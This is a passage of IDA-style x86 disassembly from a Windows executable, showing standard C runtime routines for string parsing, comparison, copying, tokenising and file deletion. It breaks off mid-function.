		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax


loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------


loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax


loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0


loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40


loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C


loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Ep
					; sub_401ACD+75ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------


loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]


loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------


loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx


loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C


loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0


loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi


loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: sub_41DC8A+11Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43CBC4, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------


loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C9B8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------


loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------


loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E


loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx


loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82


loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43CBC4, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------


loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C9B8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------


loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43CBC4, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------


loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C9B8
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18


loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------


loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------


loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72


loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99


loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB938, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------


loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi


loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax


loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CEp
					; sub_401ACD+6A0Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5980p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_427080	; DeleteFileA
		test	eax, eax
		jnz	short loc_41BDF2
		call	dword_42708C	; RtlGetLastWin32Error
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------


loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax


loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D2p
					; sub_411C13+8Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E81p
					; sub_401ACD+1EA0p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi


loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; sub_41DC8A+93p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx


loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx


loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFCp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC


loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD


loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------


loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]


loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46


loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------


loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0


loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB


loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8


loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6


loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi


loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------


loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC


loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi


loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080


loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB984


loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------


loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx


loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------


loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB984, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2C+1Cp
					; sub_415220+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------


loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEA+88p
					; sub_40B64A+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A


loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB


loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
